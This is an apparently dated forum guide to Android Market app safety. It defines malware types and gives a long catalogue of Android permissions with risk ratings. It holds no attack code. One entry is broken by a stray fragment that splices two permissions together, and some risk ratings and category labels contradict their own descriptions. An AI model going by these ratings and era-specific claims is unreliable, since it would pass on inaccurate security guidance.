Database Info

Android Permissions & Security Explained - Security Discussion

Android Permissions & Security Explained
This guide aims to provide the basic info most people want to know about the security of their phones, and when to download, and when not to download applications from the Android Market.
It's my hope that this will help people make more informed decisions and be safe about their application usage, privacy, and data. It is my firm belief that Android is a fundamentally safe platform. With some common sense, diligence, and the right knowledge of the potential threats, users can rest assured and enjoy their devices more thoroughly.
While most of these tips will apply to any of the new app stores and markets now available for Android, this guide is written specifically for Google's original Android Market.
Also, while this guide attempts to be as comprehensive as possible, there may be errors or misjudgments, or just opinions that are subjective. Please read it with the idea in mind that it's just a part of the information you may want to consider when downloading your apps.
Deciding what to download is ultimately up to you, and that's the most important thing you'll need to remember.
Background about Android
The first thing when understanding the security of your phone is to know a little bit about what makes it tick. Android is a 'lite' version of Linux with most applications that you download from the market written in Java.
This is important to know because it means Android is very unlikely to ever get a 'virus' in the traditional sense. Part of the reason is because Linux is a fairly secure operating system that protects various parts of itself from other parts. This is similar to how Windows has admin accounts and limited user accounts. Because of this protection, applications downloaded from the market do not have access to anything by default. You must grant them permission for each activity they want to perform when they are installed. This is a very important point which we will address a bit later. Also due to some bad choices by Google, there are a few exceptions to this rule that we'll talk about in the permissions section.
Nevertheless, while Android is very unlikely to get a 'virus', that does not mean you are completely safe from 'malware', 'spyware', or other harmful types of programs.
Anti-virus
The efficacy of anti-virus apps on Android is a controversial subject on even the best of days. Needless to say, there are some very differing opinions on the necessity of having anti-virus software protecting your phone. Both sides of this debate have some credible and respectable reasons for their choice, so I will try and present both sides as objectively as I can. In full disclosure though, I personally do not use anti-virus on my phone. That's a personal choice I made. Plenty of security experts whom I respect do chose to use anti-virus on their phones. So ultimately this will be a choice that is yours alone to make and not something where you should take cues from other people. That said, here are the pros and cons of each side as best as I know them.
One thing to remember though, is that each side may have some irrational or sensational arguments. These stem from either a sense of emotional justification or a vested interest in selling software. Put simply, neither side of the debate is above bad arguments and unintentional or intentional faulty logic.
Benefits
- Will protect you from all past threats
- May protect you from a future threat
- Often can have additional features for privacy and data protection
- May have features to protect your phone if it is lost or stolen
Drawbacks
- May waste system resources like battery and memory
- It's hard to protect from future/unknown threats
- Can potentially cause serious harm to the OS (very rare but not unheard of)
- May provide a false sense of security and encourage risky behavior
Types of Dangerous Programs
The most common threats from Android applications are:
1) When the app tricks the user into giving it permissions it does not need to do its job.
2) When the app hides malicious code behind legitimate permissions.
3) When the app tricks the user into entering in personal information or sensitive data (such as a credit card number).
There are various ways malicious developers (also known as hackers or crackers) accomplish this. We'll briefly define each kind just to have a common understanding of the terms.
Malware
Malware generally is an all-encompassing term used to describe any harmful program. This includes spyware, viruses, and phishing scams. Sometimes the older term 'virus' is used in this context, but malware is now considered more accurate.
Spyware
Spyware is used to describe software or applications that read your information and data without you actually knowing it and reporting it back to some unknown third party for nefarious purposes. Oftentimes this includes keystroke loggers to steal passwords or credit card information. Some people include certain types of Advertising tracking in this category (sometimes called Adware, see below). However that's a much larger debate we wont cover here.
Phishing
Phishing and spyware are closely related. They work on a similar principle: tricking the user and sending user information to a 3rd party to steal it. The difference with phishing however, is that the application (or website) will pretend to be from a trusted source to try and 'trick' you into entering in your details. Contrastingly, spyware would try to hide itself from being known to the user. One way to think about the difference is that phishing is masquerading while spyware is hiding, but the end goal of stealing your data is the same.
An example of this would be an app or website pretending to be affiliated with your bank or Paypal or your email provider (Gmail, Hotmail, Yahoo). However it can, and does, include any service where someone might want to steal your identity or password.
There have been known successful phishing attacks related to at least one bank on Android.
Virus
The definition of virus used to be more all-encompassing. These days that term has been replaced by malware. Virus is more typically used to describe a specific type of software that takes control of your operating system and either damages it, or uses it for its own purposes. An example might be when a virus sends emails to everyone in your email address book. Again this is the type of program least likely to be a problem for Android.
Trojan Horse
A trojan horse is really just a specific type of virus. It merely refers to the idea that the app pretends to be something useful or helpful or fun for the user while actually causing harm or stealing data. This term is often used to describe spyware and phishing attacks as well.
Adware
Adware is typically a bit of a grey area. Sometimes this is also called nuisance-ware. This type of application will often show the users an excessive amount of advertising in return for providing a service of dubious quality to the user. However, this type of program can often be confused with legitimate ad-supported software, which shows a mild to moderate amount of advertising while providing a useful service that the user wants. Because it can be hard to tell the difference, there exists a grey area from most anti-virus companies as to how to handle adware.
How to check Permissions
When you install an application the Market will tell you all of the permissions it needs to function. These are important to read. Permissions can give you an idea if an application is asking for more than it needs to function properly. While some legitimate apps often ask for more permissions than they need, it should at least raise an eyebrow. Again this is just part of what you should consider when deciding if an application is safe and good quality.
How to Protect Yourself
There are no full-proof ways to avoid all bad situations in the world.But, any sane person with a reasonable head on their shoulders knowsthat a few good habits can keep you safe for a long, long time inwhatever you do. Here are a few tips I have learned from many years as aprofessional software developer and from reading many Android forumsthat have many people smarter and more knowledgeable than I aboutAndroid.
Read the comments in the Market
This should go without saying. Before you download any applications, besure to read the comments. Don't just read the first three either, clickthrough and see what people are saying. This can also help youunderstand how well an app works on your particular phone (and yourparticular version of Android). Comments should also be read EVERY timeyou update an app.
It's also important to note that bad apps can sometimes"game" the comments and ratings. There are some unsavoryservices that provide thousands of fake comments for apps and they areprobably more common than you think. See the section on TheCommunity for more on identifying these types of fake comments.
Check the Rating
Any app that fails to maintain above 2.5 stars is likely not worth yourtime. If you are brave enough to be one of the first few to download anapp, this does not apply to you. Nevertheless, almost all good apps havebetween 3 and 5 stars. To me, this is just a general rule to helpfind quality apps.
Check the permissions
There are many things an app can do to, and for, your phone. Butanything an app can do is told to you when you download and install it.Before you download and install an app, you will be shown a list ofpermissions the application is requesting. Read them. Try yourbest to understand them in terms of what the application is supposed todo for you. For example, if you download a game of checkers, and theMarket warns you that it wants to be able to read your contacts, youshould think twice and probably not download it. There is no sanereason a game of checkers needs to know your friend's phone numbers.
In the Permissions section you can read a list of some of the mostcommonly used permissions. The list explains how important they are,what they do, and notes some examples of apps that might legitimatelyneed the permission. This should help you get a basic understanding ofwhat to allow, and when to skip, an app.
Check the developer's website
Make sure the developer has a website and not just some blog. This isoften a good indication of quality as well as safety. If the developercares about their app they will likely have a relatively nice lookingwebsite (or, if they are open source, a site on Google Code or somethingsimilar). Note: sites on Google code are NOT verified or approved byGoogle. However, open source is usually (but not always) morelikely to indicate a safe application.
NOTE: This is not a definitive indicator if a developer is good or bad,just one more piece of information you can use. There are a lot ofexceptions to this particular rule, as a lot of good developers mightnot have anything more than a blog, and a lot of bad developers couldjust point to a nice looking site they have no affiliation with.However, the developer's website can be helpful just as an extra pieceof information you can use in making your decision about the developeror app.
Updating applications is the same as installing them fresh
Each time you update an application on your phone, you should use thesame diligence as if you were installing it for the first time. Rereadthe permissions to see that it is only asking for what it needs and nomore. Reread the comments to see if anything has changed in the opinionsof the users and to see if it still works for your phone. If you seethat an application says Update (manual) next to it, that means thedeveloper has changed the permissions that they are requesting. This isnot necessarily a bad thing -- but it should indicate that you shouldpay a bit closer attention to the permissions and re-evaluate them asneeded.
Privacy
Wi-Fi
One of the things to remember when trying to keep yourself safe is to be very careful with public Wi-Fi. Whenever you connect to the internet through a public Wi-Fi, you should never use any website that requires a password to sign into. The danger here is because you have no idea who is connecting you to the website. A good analogy would be like trying to mail a letter to your friend by giving it to a stranger in the street. For more info read: Man-in-the-middle attack(Wikipedia). There is also a risk that applications may be transmitting data in the background over that Wi-Fi connection about you without encrypting it. This is also true of any applications over any internet connection however. And while there are some good ways to secure your phone, I personally don't use any public Wi-Fi at all. This may be seen as extreme in some circles, but I believe it to be safest route (although somewhat limiting).
SD Cards
There isn't much to say about SD cards except that all users should remember that they are not a safe place to store personal information. This can be something as simple as a backup/export of your contacts.
The reason the SD card is not safe is that nearly all applications can read any file they want from the SD card. Most personal info such as contacts is stored internally in protected databases however, so this shouldn't be a huge concern for most people, but it's helpful to keep in mind.
GPS and Network Location
There is a lot of information online and in various books about why letting yourself be tracked has potential consequences. However, there are a lot of useful features that apps can provide with location tracking information. You should treat location tracking with care and be sure to give it only to parties your trust. Google Maps would be a great example of this.
Advertising and location tracking
There is a trade-off that some people will consider making with regards to location tracking. Some advertisers would like to have location information on you in order to show you local advertisements and coupons. In exchange, you get free use of an app such as a game. This is a decision you will need to make for yourself. I personally would not make this trade off, but some people very knowledgeable about security are very comfortable making it.
permissions
When you install an application the Market will tell you all of the permissions it needs to function. These are important to read as it can give you an idea if the application is asking for permission to do more than it needs. While some legitimate apps often ask for more permission than they need, it should at least raise an eyebrow when deciding if an application is safe and of good quality.

Official Description
Allows an application to initiate a phone call without going through the Dialer user interface for the user to confirm the call being placed.
Details
This permission is of high importance. This could let an application call a 1-900 number and charge you money. However, this is not as common a way to cheat people in today's world as it used to be. Legitimate applications that use this include: Google Voice and Google Maps.
Another important point to note here is that any app can launch the phone screen and pre-fill a number for you. However, in order to make the call, you would need to press [Send] or [Call] yourself. The difference with this permission is that an app could make the entire process automatic and hidden.
Send SMS or MMS
Services that cost you money
[color=ery commonly used by legitimate applications. Applications that typically need this permission include (but are not limited to) camera applications, audio/video applications, document applications
[B]Official Description[/B]
Allows an application to read the user's contacts data.
Details
This permission is of high importance. Unless an app explicitly states a specific feature that it would use your contact list for, there isn't much of a reason to give an application this permission. Legitimate exceptions include typing or note taking applications, quick-dial type applications and possibly social networking apps. Some might require your contact information to help make suggestions to you as you type. Typical applications that require this permission include: social networking apps, typing/note taking apps, SMS replacement apps, contact management apps.
Write contact data
Development tools / Your personal info
URI: android.permission.WRITE_CONTACTS
Risk: MODERATE-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to write (but not read) the user's contacts data.
Details
This permission is of high importance. Unless an app explicitly states a specific feature that it would use your contact list for, there isn't much of a reason to give an application this permission. Legitimate exceptions include typing or note taking applications, quick-dial type applications and possibly social networking apps. Some might require your contact information to help make suggestions to you as you type. Typical applications that require this permission include: social networking apps, typing/note taking apps, SMS replacement apps, contact management apps.
Read calendar data
Development tools / Your personal info
URI: android.permission.READ_CALENDAR
Risk: MEDIUM
Protection level: DANGEROUS
Official Description
Allows an application to read the user's calendar data.
Details
This permission is of moderate to high importance. While most people would consider their calendar information slightly less important than their list of contacts and friends, this permission should still be treated with care when allowing applications access. Additionally, it's good to keep in mind that calendar events can, and often do contain contact information.
Write calendar data
Development tools / Your personal info
URI: android.permission.WRITE_CALENDAR
Risk: MEDIUM
Protection level: DANGEROUS
Official Description
Allows an application to write (but not read) the user's calendar data.
Details
This permission is of moderate to high importance. While most people would consider their calendar information slightly less important than their list of contacts and friends, this permission should still be treated with care when allowing applications access. Additionally, it's good to keep in mind that calendar events can, and often do contain contact information.
Read browser history & bookmarks
Development tools / Your personal info
URI: com.android.browser.permission.READ_HISTORY_BOOKMA RKS
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to read (but not write) the user's browsing history and bookmarks.
Details
This permission is of medium-high importance. Browsing habits are often tracked through regular computers, but with this permission you'd be giving access to more than just browsing habits. There are also legitimate uses for this permission such as apps that sync or backup your data, and possibly certain social apps.
Write browser history & bookmarks
Development tools / Your personal info
URI: com.android.browser.permission.WRITE_HISTORY_BOOKM ARKS
Risk: MODERATE-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to write (but not read) the user's browsing history and bookmarks.
Details
This permission is of medium-high importance. Browsing habits are often tracked through regular computers, but with this permission you'd be giving access to more than just browsing habits. There are also legitimate uses for this permission such as apps that sync or backup your data, and possibly certain social apps.
Read sensitive logs
Development tools / Your personal info
URI: android.permission.READ_LOGS
Risk: VERY-HIGH
Protection level: DEVELOPMENT
Official Description
Allows an application to read the low-level system log files.
Details
This permission is of high importance. This allows the application to read what any other applications have logged.
Modify global system settings
Hardware controls
URI: android.permission.WRITE_SETTINGS
Risk: MEDIUM
Protection level: DANGEROUS
Official Description
Allows an application to read or write the system settings
Details
This permission is pretty important but only has the possibility of moderate impact. Global settings are pretty much anything you would find under Android's main 'settings' window. However, a lot of these settings may be perfectly reasonable for an application to change. Typical applications that use this include: volume control widgets, notification widgets, settings widgets, Wi-Fi utilities, or GPS utilities. Most apps needing this permission will fall under the "widget" or "utility" categories/types.
Read sync settings
Hardware controls
URI: android.permission.READ_SYNC_SETTINGS
Risk: LOW-MODERATE
Protection level: UNKNOWN
Official Description
Allows applications to read the sync settings
Details
This permission is of low to medium importance. It mostly allows the application to know if you have background data sync (such as for Facebook or Gmail) turned on or off.
Automatically start at boot
Hardware controls
URI: android.permission.RECEIVE_BOOT_COMPLETED
Risk: MODERATE-HIGH
Protection level: UNKNOWN
Official Description
Allows an application to receive the ACTION_BOOT_COMPLETED that is broadcast after the system finishes booting.
Details
This permission is of low to moderate impact. It will allow an application to tell Android to run the application every time you start your phone. While not a danger in and of itself, it can point to an applications intent
Restart other applications
Hardware controls
URI: android.permission.RESTART_PACKAGES
Risk: HIGH
Protection level: UNKNOWN
Official Description
This constant is deprecated. The restartPackage(String) API is no longer supported.
Details
This permission is of low to moderate impact. It will allow an application to tell Android to 'kill' the process of another application. However, any app that is killed will likely get restarted by the Android OS itself.
Retrieve running applications
Hardware controls
URI: android.permission.GET_TASKS
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to get information about the currently or recently running tasks: a thumbnail representation of the tasks, what activities are running in it, etc.
Details
This permission is of moderate importance. It will allow an application to find out what other applications are running on your phone. While not a danger in and of itself, it would be a useful tool for someone trying to steal your data. Typical legitimate applications that require this permission include: task killers and battery history widgets. Other than that however, most apps should not need this permission.
Display system-level alerts
Hardware controls
URI: android.permission.SYSTEM_ALERT_WINDOW
Risk: HIGH
Protection level: DANGEROUS
Official Description
Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications.
Details
This permission is of high importance. This permission allows an app to show a "popup" window above all other apps, even if the app is not in the foreground. A malicious developer/advertiser could use it to show very obnoxious advertising. Almost no apps should require this permission unless they are part of the Android operating system. An example of a system alert would be the alert you are shown when your phone or tablet is out of battery and is about to shut down.
Control vibrator
Development tools
URI: android.permission.VIBRATE
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows access to the vibrator
Details
This permission is of low importance. As it states, it lets an app control the vibrate function on your phone. This includes for incoming calls and other events.
Take pictures and videos
Development tools
URI: android.permission.CAMERA
Risk: MODERATE-HIGH
Protection level: DANGEROUS
Official Description
Required to be able to access the camera device.
Details
This permission is of moderate importance. As it states, it lets an app control the camera function on your phone. In theory this could be used maliciously to snap unsuspecting photos, but it would be unlikely and difficult to get a worthwhile picture or video. However, it is not impossible to make malicious use of cameras.
Access location extra commands
Network Communication
URI: android.permission.ACCESS_LOCATION_EXTRA_COMMANDS
Risk: MEDIUM-HIGH
Protection level: UNKNOWN
Official Description
Allows an application to access extra location provider commands
Details
The specifics of the extra commands here are a bit unclear. However, the usage of this permission indicates that an app wants to know detailed information about your location, and respond accordingly. This is often used with advertising and location-based and social-network services like Four Square, Twitter, Facebook or Google Places/Google+. It is recommended that you treat this permission with the same caution as the GPS location permission and assume the same implications to privacy apply.
Access mock location
Network Communication
URI: android.permission.ACCESS_MOCK_LOCATION
Risk: MODERATE
Protection level: DANGEROUS
Official Description
Allows an application to create mock location providers for testing
Details
This is a permission used for development of apps that make use of location based services. By creating "mock" (fake) locations, apps can test if their code works correctly depending on your location.This permission has no known sercurity considerations; Nor much use in a app released to the public.
Battery stats
Hardware controls
URI: android.permission.BATTERY_STATS
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows an application to collect battery statistics
Details
This permission is of little to no importance.
Bluetooth Admin
Your accounts
URI: android.permission.BLUETOOTH_ADMIN
Risk: MEDIUM
Protection level: DANGEROUS
Official Description
Allows applications to discover and pair bluetooth devices
Details
Bluetooth (Wikipedia: http://en.wikipedia.org/wiki/Bluetooth) is a technology that lets your phone communicate wirelessly over short distances. It is similar to Wi-Fi in many ways. It itself is not a danger to your phone, but it does enable a way for an application to send and receive data from other devices. Typical applications that would need bluetooth access include: sharing applications, file transfer apps, apps that connect to headset or wireless speakers.
Broadcast Sticky (Intents)
Hardware controls
URI: android.permission.BROADCAST_STICKY
Risk: LOW-MEDIUM
Protection level: UNKNOWN
Official Description
Allows an application to broadcast sticky intents. These are broadcasts whose data is held by the system after being finished, so that clients can quickly retrieve that data without having to wait for the next broadcast.
Details
The permission has to do with how applications "talk" to each other using a communication method called "Intents". While this permission is highly technical it is a relatively low importance. There are no know obvious malicious uses for this permission.
Change Configuration
Hardware controls
URI: android.permission.CHANGE_CONFIGURATION
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to modify the current configuration, such as locale.
Details
This is a permission that generally should not be granted to regular apps. Other than changing the locale (i.e. language), it is unclear what configuration changes this permission allows. As such, it should be treated with considerable caution.
Clear app cache
Hardware controls
URI: android.permission.CLEAR_APP_CACHE
Risk: LOW
Protection level: DANGEROUS
Official Description
Allows an application to clear the caches of all installed applications on the device.
Details
This permission is of low importance. It allows an app to clear the cache of apps on the phone or tablet. The cache is a place that an app stores recently used data for faster access. Clearing the cache can sometimes (very rarely) fix bugs related to those files. Clearing these files generally presents no risk other than to slow the performance of the phone or tablet (as apps will need to re-create the caches when used).
Disable Keyguard (lock screen)
(unknown category)
URI: android.permission.DISABLE_KEYGUARD
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Official Description
Allows applications to disable the keyguard
Details
This permission is of medium-high importance. It allows an app to disable the "lock screen" that most phones go into after going to sleep and been turned on again. This lockscreen can sometimes be a password screen, or a PIN screen, or just a "slide to unlock" screen.
Expand status bar
Hardware controls
URI: android.permission.EXPAND_STATUS_BAR
Risk: MEDIUM-HIGH
Protection level: UNKNOWN
Official Description
Allows an application to expand or collapse the status bar.
Details
This appears to be a system permission -- not for use by regular applications. If you come across this permission I would beware of any app requesting it that is not an Android system app.
Flashlight
Development tools
URI: android.permission.FLASHLIGHT
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows access to the flashlight
Details
This allows apps to turn on or off the LED "flash" light used by the camera. This is a handy tool but usually of no risk itself.
Get package size
Hardware controls
URI: android.permission.GET_PACKAGE_SIZE
Risk: LOW-MODERATE
Protection level: UNKNOWN
Official Description
Allows an application to find out the space used by any package.
Details
This permission does not seem to have any risk associated with it.
Kill background processes
Hardware controls
URI: android.permission.KILL_BACKGROUND_PROCESSES
Risk: HIGH
Protection level: UNKNOWN
Official Description
Allows an application to call killBackgroundProcesses(String).
Details
This permission is a bit of a tricky one. Often this is used by what are called "task killers". These apps supposedly free system resources by closing apps running in the background. However the usefulness of such apps is minimal at best. They can help close an app that is misbehaving, however a user can already do that themselves through the Android settings under "Apps" or "Manage Applications". Conversely this permission has some potential to maliciously close anti-virus or other security related apps. As with anything I would treat this with caution. Few users should ever need an app with this permission. Rather, it could be an indicator of malicious intent (especially if not requested by a task killer or system performance tuning app).
Modify audio settings
Hardware controls
URI: android.permission.MODIFY_AUDIO_SETTINGS
Risk: LOW
Protection level: DANGEROUS
Official Description
Allows an application to modify global audio settings
Details
This permission is of low importance. Audio settings pose little to no risk to the device.
Format file systems
Your personal information
URI: android.permission.MOUNT_FORMAT_FILESYSTEMS
Risk: MEDIUM
Protection level: DANGEROUS
Official Description
Allows formatting file systems for removable storage.
Details
The primary danger with this permission is that it could be used to erase data from an SD card or other similar storage in your phone. This is also not a permission any normal app should need.
Mount / Unmount file systems
Your personal information
URI: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
Risk: MODERATE
Protection level: DANGEROUS
Official Description
Allows mounting and unmounting file systems for removable storage.
Details
This permission just allows for connecting to SD cards for reading and writing. While not a risk itself, this is also not a permission any normal app should need.
NFC (Near Field Communication)
Your accounts
URI: android.permission.NFC
Risk: MEDIUM
Protection level: DANGEROUS

Official Description
Allows applications to perform I/O operations over NFC
Details
NFC stands for Near Field Communication. This is a technology like Bluetooth that enables short range communication between two devices or the reading of NFC "tags". The distance which NFC is able to work is only a few centimeters so that devices (or a device and a tag) must effectively be touching each other to communicate. Due to the distance, this technology is not particularly dangerous. However it does present a small risk and it is something that should used with caution.
For more info: http://en.wikipedia.org/wiki/Near_field_communication
Process outgoing calls
Your location
URI: android.permission.PROCESS_OUTGOING_CALLS
Risk: VERY-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to monitor, modify, or abort outgoing calls.
Details
This permission is of high importance. This would allow an app to see what numbers are called and other personal info. Generally this permission should only be seen on apps for VOIP (Voice Over Internet Protocol) like Google Voice or dialer replacement type apps.
Read sync stats
Hardware controls
URI: android.permission.READ_SYNC_STATS
Risk: MODERATE
Protection level: UNKNOWN
Official Description
Allows applications to read the sync stats
Details
This permission is related to "Read sync settings" but not particularly dangerous itself. There is a minor risk that some personal information could be gleaned from the sync stats, but the information is unlikely to be valuble. Sync in this case relates to syncing of contacts and other types of media on the phone.
Record audio
Development tools
URI: android.permission.RECORD_AUDIO
Risk: MODERATE-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to record audio
Details
While this permission is not typically dangerous, it is a potential tool for eavesdropping. However recording audio has legitimate uses such as note taking apps or voice search apps. As a side note recording audio is typically a significant drain on the battery.
Set alarm
Hardware controls
URI: android.permission.SET_ALARM
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows an application to broadcast an Intent to set an alarm for the user.
Details
This permission seems to be of low risk because it doesnt allow the setting of the alarm directly. Rather it allows the opening of the alarm app on the phone.
Set time zone
Hardware controls
URI: android.permission.SET_TIME_ZONE
Risk: LOW
Protection level: DANGEROUS
Official Description
Allows applications to set the system time zone
Details
This permission poses little, if any, risk
Set wallpaper
Hardware controls
URI: android.permission.SET_WALLPAPER
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows applications to set the wallpaper
Details
This permission poses little, if any, risk
Subscribed feeds read
Development tools / Your personal info
URI: android.permission.SUBSCRIBED_FEEDS_READ
Risk: MEDIUM
Protection level: UNKNOWN
Official Description
Allows an application to allow access the subscribed feeds ContentProvider.
Details
This would give an app access to RSS feed that you have subscribed to. If you dont subscribe to any RSS feeds this permission is of little risk. If you do, this permission is akin to letting an app have access to your broser history. It could glean interests and preferences and other semi-personal information.
Subscribed feeds write
Development tools / Your personal info
URI: android.permission.SUBSCRIBED_FEEDS_WRITE
Risk: LOW-MEDIUM
Protection level: DANGEROUS
Official Description
(No developer documentation is available for this permission)
Details
This would give an app access to RSS feed that you have subscribed to. If you dont subscribe to any RSS feeds, this permission is of little risk. If you do, this permission is akin to letting an app have access to your broser history. It could glean interests and preferences and other semi-personal information.
Use SIP
Your accounts
URI: android.permission.USE_SIP
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to use SIP service
Details
SIP stands for Session Initiation Protocol. It is a technology mostly used for making video and voice calls over the Internet. While not a major security risk it should be treated with almost as much caution as the standard "make phone calls" permission.
Write secure settings
Hardware controls
URI: android.permission.WRITE_SECURE_SETTINGS
Risk: VERY-HIGH
Protection level: DEVELOPMENT
Official Description
Allows an application to read or write the secure system settings.
Details
This permission should only be seen on Android system apps (and possibly wireless carriers or hardware manufacturer pre-installed apps).
Write SMS
Services that cost you money
URI: android.permission.WRITE_SMS
Risk: HIGH
Protection level: DANGEROUS
Official Description
Allows an application to write SMS messages.
Details
This permission appears to be an offshoot from the "send SMS" permission. This should allow an app to write, but not send an SMS message. Users should still be cautious of this permission however. Many kinds of malware lure users into sending SMS to special for-pay numbers costing them money.
Write sync settings
Your messages
URI: android.permission.WRITE_SYNC_SETTINGS
Risk: MEDIUM
Protection level: DANGEROUS
Official Description
Allows applications to write the sync settings
Details
This permission relates to backup and sync of certain types of information like contacts. This allows an app to write settings for how that account and the data are sync and backed up. This is a common permission for social services or contact managers or any other type of app with an account associated with it. Alone, this permission doesn't allow an app access to contacts or other sensitive data. Rather, it just relates to how that data is backed up. Nevertheless, care should be taken as always.
Read profile
Development tools / Your personal info
URI: android.permission.READ_PROFILE
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Official Description
Allows an application to read the user's personal profile data.
Details
This a new permission that relates to a special new "Me" contact you can create in your phone or tablet as your own profile.
Install Shortcut (Android Launcher)
Hardware controls
URI: com.android.launcher.permission.INSTALL_SHORTCUT
Risk: MODERATE-HIGH
Protection level: UNKNOWN
Details
This is a custom permission for the default Android Laucher (the home screen). This permission would allow an app to put an icon or shortcut there. While not dangerous, this can sometimes be a sign of a potentially malicious or adware app. For more on adware, see the guides section of PocketPermissions.
Read external storage
Your personal information
URI: android.permission.READ_EXTERNAL_STORAGE
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows an application to read from external storage.
Details
This permission is granted to all apps by default.
Read SMS
System tools
URI: android.permission.READ_SMS
Risk: MODERATE-HIGH
Protection level: DANGEROUS
Details
This permission is mostly a privacy concern. Any app that can read your SMS messages could gather a lot of information about you. However there are quite a few legitimate reasons an app may request this. Some apps are simply "SMS replacment" apps (such as Handcent) and would naturally need this permission to function. Other apps sometimes use this as a way of sending a special code to you device. This can be used by a paid app by sending a code to unlock the full version of an app. Or, this can be used by security apps to listen for a special shutdown codes in case your phone is stolen.
Write call log
Your location
URI: android.permission.WRITE_CALL_LOG
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Details
This permission is not much of a danger by itself, but rather could be used to hide other malicious behavoir. However it has a legitimate purpose for dialer replacements or voice over IP apps (like Google Voice).
Write profile
Development tools / Your personal info
URI: android.permission.WRITE_PROFILE
Risk: MODERATE-HIGH
Protection level: DANGEROUS
Details
This a new permission that relates to a special new "Me" contact you can create in your phone or tablet as your own profile.
Read social stream
Development tools / Your personal info
URI: android.permission.READ_SOCIAL_STREAM
Risk: HIGH
Protection level: DANGEROUS
Details
This permission is very important. It is a new permission introduced with Android 4.0 (Ice Cream Sandwhich). This permission would allow an app to read updates from social networking apps like Google+, Twitter, and Facebook. By granting this permission you are giving an app the ability to read not only your information, but any updates posted by people in your social circles.
Add voicemail
System tools
URI: com.android.voicemail.permission.ADD_VOICEMAIL
Risk: MEDIUM-HIGH
Protection level: DANGEROUS
Details
This seems to be a new permission related to Android's new centralized voicemail system. It would be an unusual means for an app to use this permission maliciously. However few apps should need it and, as always, it should be treated with caution.
Authenticate Accounts
Your messages
URI: android.permission.AUTHENTICATE_ACCOUNTS
Risk: VERY-HIGH
Protection level: DANGEROUS
Details
This permission is of high importance. It allows an app to authenticate credentials (such as passwords). Typical uses of this would be if an app had it's own type of account on your phone such as Google, Facebook, or Twitter.This permission is closely related to the Account Manager permission. Both are typically requested together.While this doesn't directly give an app access to your personal information or passwords, it does present a security risk for phishing (tricking the user into revealing their password). For more on phishing, see the Guides section of PocketPermissions)
Read email attachments
Development tools / Your personal info
URI: com.android.email.permission.READ_ATTACHMENT
Risk: HIGH
Protection level: DANGEROUS
Details
This is a custom permission for the default Android email app (i.e. not Gmail). This permission should be treated with great caution. Many email attachments contain highly sensitive and personal or financial information.
Read user dictionary
Development tools / Your personal info
URI: android.permission.READ_USER_DICTIONARY
Risk: LOW
Protection level: DANGEROUS
Official Description
Allows an application to read the user dictionary.
Details
This would allow an app to read words added to your custom dictionary. Oftentimes this is abbreviations like "brb" that you might add for typing text messages. Unless you save personal information in your dictionary, this permission is of almost no risk.
Write user dictionary
Hardware controls
URI: android.permission.WRITE_USER_DICTIONARY
Risk: LOW
Protection level: UNKNOWN
Official Description
Allows an application to write to the user dictionary.
Details
This alows an app to add custom words to your user dictionary. For example, the common acronym "brb" for "be right back".
Receive SMS
System tools
URI: android.permission.RECEIVE_SMS
Risk: HIGH
Protection level: DANGEROUS
Official Description
Allows an application to monitor incoming SMS messages, to record or perform processing on them.
Details
This permission is mostly a privacy concern. Any app that can read your SMS messages could gather a lot of information about you. However there are quite a few legitimate reasons an app may request this. Some apps are simply "SMS replacment" apps (such as Handcent) and would naturally need this permission to function. Other apps sometimes use this as a way of sending a special code to you device. This can be used by a paid app by sending a code to unlock the full version of an app. Or, this can be used by security apps to listen for a special shutdown codes in case your phone is stolen.
Receive MMS
System tools
URI: android.permission.RECEIVE_MMS
Risk: HIGH
Protection level: DANGEROUS
Official Description
Allows an application to monitor incoming MMS messages, to record or perform processing on them.
Details
This permission is mostly a privacy concern. Any app that can read your MMS messages could gather a lot of information about you. However there are quite a few legitimate reasons an app may request this. Some apps are simply "SMS/MMS replacment" apps (such as Handcent) and would naturally need this permission to function.
Install DRM
Hardware controls
URI: android.permission.INSTALL_DRM
Risk: MODERATE-HIGH
Protection level: UNKNOWN
Details
DRM stands for Digital rights management. Typically this permission is not particularly dangerous itself. However, it is a permission related to controlling access to medi such as books, audio video, and more. Due to its purpose to control access, I would be especially careful installing any app requesting it.More info: http://en.wikipedia.org/wiki/Digital_rights_management
Add system service
Hardware controls
URI: android.permission.ADD_SYSTEM_SERVICE
Risk: CRITICAL
Protection level: UNKNOWN
Details
This permission should only be given to Android System apps (and possibly to wireless carrier or hardware manufacturer pre-installed apps)
Access WiMax State
Your accounts
URI: android.permission.ACCESS_WIMAX_STATE
Risk: LOW-MODERATE
Protection level: UNKNOWN
Details
WiMax is a technology developed for "4G" data and internet speeds on mobile devices. This permission allows an app to see if it is currently connected to a wireless network that uses WiMax. There is no significant risk associated with this permission.
Change WiMax state
Your accounts
URI: android.permission.CHANGE_WIMAX_STATE
Risk: MODERATE
Protection level: DANGEROUS
Details
This permission allows an app to turn on or off the WiMax radio. WiMax is a type of "4G" wireless connection like LTE. This permission essensially allows an app to turn on or off 4G.
Read instant messages (IM)
Development tools / Your personal info
URI: com.android.providers.im.permission.READ_ONLY
Risk: HIGH
Protection level: UNKNOWN
Details
This is apermission realated to reading instant messages, such as those on GooleTalk.
RECEIVE
(unknown group)
URI: com.google.android.c2dm.permission.RECEIVE
Risk: LOW
Protection level: UNKNOWN
Details
C2D stands for Cloud to Device Messaging. This is a push notification technology that is being phased out for a similar technology called GCM. (Google Cloud Messaging). This permission is of little to no risk.
In-app billing
Services that cost you money
URI: com.android.vending.BILLING
Risk: CRITICAL
Protection level: UNKNOWN
